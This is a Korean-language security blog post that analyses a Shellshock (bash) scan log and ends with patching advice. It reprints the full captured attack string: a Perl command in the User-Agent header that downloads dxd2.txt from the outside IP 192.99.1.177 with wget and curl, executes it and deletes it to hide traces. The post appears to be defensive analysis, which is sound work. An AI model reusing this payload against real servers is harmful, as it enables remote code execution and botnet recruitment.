loading
본문으로 바로가기

2014년에 발표된 이후로 여전히 Bash Shellshock 취약점은 주요 자동화공격 대상에 포함되어 있습니다. 쉘쇼크 취약점 스캔 로그는 ircbot 기반의 DDoS 봇넷 구축을 하려는 시도로 보입니다.

1. Payload

() { :;};/usr/bin/perl

 

2. 공격구문

"GET HTTP/1.1 HTTP/1.1" 400 455 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\");'"

User-Agent 문자열에 () { :;};운영체제-명령어을 웹 서버에 전달하여 취약점이 있는 Bash로 하여금 공격자가 원하는 운영체제-명령어를 실행하려는 시도이다. /main.cgi, /info.cgi, /index.cgi, /admin.cgi, /cgi-bin/report.cgi 등의 URL을 목표로 하고 있습니다.

 

공격자는 PERL 해석기를 통해서 명령어 실행을 시도하고 있습니다. 


/usr/bin/perl -e 'PERL-코드'

표적 시스템이 Bash Shellshock 취약점을 가지고 있고, 만약 /usr/bin/perl(PERL 해석기, Perl Interpreter)이 존재하면 PERL-코드를 실행합니다.

 

print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";

/usr/bin/perl(PERL 해석기)이 존재하면 공격자의 공격도구로 HTTP의 본문에 "XSUCCESS!"라는 문자열을 전송한다. 이 문자열이 탐지되면 Bash Shellshock 취약점이 존재하며, 웹 서버에서 PERL도 실행가능하다는 뜻이다. 대부분의 Linux 시스템은 기본적으로 Perl 해석기가 설치되어 있다.

 

system(\"wget http://192.99.1.177/dxd2.txt;curl -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\");

system() 함수를 이용하여 원격지(192.99.1.177)에서 펄 스크립트를 받아서 실행하고 파일을 삭제합니다.

 

실행순서

1. wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt
- wget으로 원격지의 dxd2.txt 파일을 받아서 /tmp/에 저장한다.


2. curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt
- curl로 원격지의 dxd2.txt 파일을 받아서 /tmp/에 저장한다.
- 결국, wget이나 curl 중 하나만 있어도 원격지의 파일이 저장된다. 수율을 높이기 위한 전략이다.


3. perl /tmp/dxd2.txt
- perl을 이용하여 웹 서버에 저장한 /tmp/dxd2.txt를 실행한다.


4. rm -rf /tmp/dxd2.*
- /tmp/dxd2.*를 삭제하여 공격 흔적을 지운다.
- 결과적으로, 메모리에서는 악성코드가 실행중이지만 파일시스템에는 악성코드가 남지않아서 탐지를 잘 되지 않게 한다. 

 

※ 해결방안

1. bash 패치를 진행한다.

패치 이전 취약한 상태

(){ :;};  취약한 구문과 함께 vulnerable을 출력하니, this is a test가 나오는것을 확인할 수 있다.

 

패치 이후 취약점 해결 상태

취약점이 해결된 상태이며, 구문사용 금지 문구를 확인할 수 있다.